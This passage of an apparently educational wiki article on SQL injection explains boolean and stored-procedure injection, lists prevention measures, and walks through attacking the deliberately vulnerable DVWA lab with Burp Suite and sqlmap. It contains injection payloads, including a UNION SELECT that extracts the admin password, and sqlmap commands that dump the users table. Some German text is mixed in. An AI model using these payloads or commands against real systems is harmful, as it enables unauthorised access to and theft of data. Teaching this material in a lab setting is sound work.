In order for this assertion to be confirmed, the attacker builds a condition that returns true. This would be, for example, and 1 = 1, since 1 = 1 is always correct:

http://newspaper.com/items.php?id=2 and 1=1

=== Procedure Stored procedure attacks ===

The basic idea behind stored procedure attacks is to execute a stored database procedure. The attacker determines the database type and uses this knowledge to find out which procedures exist. The attacker first determines the database type and uses this knowledge to determine which stored procedures may exist. There appear to be several threats against which the database is vulnerable, such as the escalation of permissions, SQL injection buffer overflow and the gathering of extended information, since these are based on stored procedures. The following is a stored procedure that returns a description of its products using the buyer's first name.

CREATE PROCEDURE getDescription
@vname VARCHAR(50)
AS
EXEC('SELECT description FROM products WHERE name =
'''+@vname+ '''')
RETURN

Dabei wird der Vorname von dem/der KäuferIn eingegeben. Der Angreifer gibt jedoch statt dem Namen eine wahre Bedingung.

AND 'a'='b' UNION SELECT password FROM members WHERE
username='admin

Beim Ausführen der Bedingung ergibt sich die folgende Prozedur:

CREATE PROCEDURE getDescription
@vname VARCHAR(50)
AS
EXEC('SELECT description FROM products WHERE name ='z' AND
'a'='b' UNION
SELECT password FROM members WHERE username='admin'')
RETURN

== Prevention ==
The countermeasures for SQL injection, apart from the type of attack, are mainly the same. The root cause of SQL injections is the lack of input validation. Therefore, the simple solution to address these vulnerabilities is to use appropriate defensive coding. If you are working with user input that is initially used in SQL queries, it should be passed to the query via parameters and validated using defined regular expressions, also known as input whitelisting.

* Check the input type by parameterizing
* Positive pattern comparison
* Filter input data
* Avoid error messages
* Least privilege

== Practice ==

=== Damn Vulnerable Web App (DVWA) ===
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

To Install the DvWA project follow the following page:

* https://github.com/ethicalhack3r/DVWA

Installation:

=== Burp suite ===
Burp Suite is a tool for performing penetration testing of web applications. With the Burp Suite, administrators can intercept and manipulate HTTP / HTTPS traffic to web applications before it is sent to the server. This enables security gaps in web applications to be discovered quickly and effectively.

To start intercepting web traffic, you have to set the proxy of the browser to 127.0.0.1:8080. The proxy listener is by default configured on 127.0.0.1:8080 in burp suite.

[[File:Proxy 4.png]]

In the DVWA project move to "SQL Injection" and type in the following input as User ID:

1' or 1=1

This will deliver all users stored in the database as the condition is always true.

[[File:demo2.png]]

Afterwards when switching to burp suite tab "Proxy" -> History you will see that the request has been captured. Within the request the "PHPSESSID" will be included as part of the cookie.

[[File:demo3.png]]

With this sessionid it is possible to connect to database and get further information with the help of a third tool called "sqlmap". To get the databases within DBMS system use the following command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=<e.g. medium>; PHPSESSID=<SessionID>" --dbs

[[File:demo4.png]]

To retrieve the tables of a specific database for example dvwa database. Replace the "--dbs" option with the "--tables" and "-D" option and define the database.

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --tables -D dvwa

[[File:demo5.png]]

Furthermore, it is possible to see the database schema from database "dvwa" as well by executing the following command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --columns -D dvwa -T users

[[File:demo6.png]]

At the end to get to the sensitive data the attacker will execute the command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --dump -D dvwa -T users

[[File:demo7.png]]

== References ==

* https://ieeexplore.ieee.org/document/6400112
* https://pdfs.semanticscholar.org/81a5/02b52485e52713ccab6d260f15871c2acdcb.pdf/
* https://ieeexplore.ieee.org/abstract/document/6396096
* https://www.dbcybertech.com/pdf/sql-injection-detection-web-environment.pdf
* https://www.cisecurity.org/wp-content/uploads/2017/05/SQL-Injection-White-Paper2.pdf
* https://info.sucuri.net/hubfs/images/owasp-ebook-2019/sucuri-ebook-OWASP-top-10.pdf
* http://www.dvwa.co.uk/
* https://owasp.org/www-project-top-ten/

[[Category:Basic]]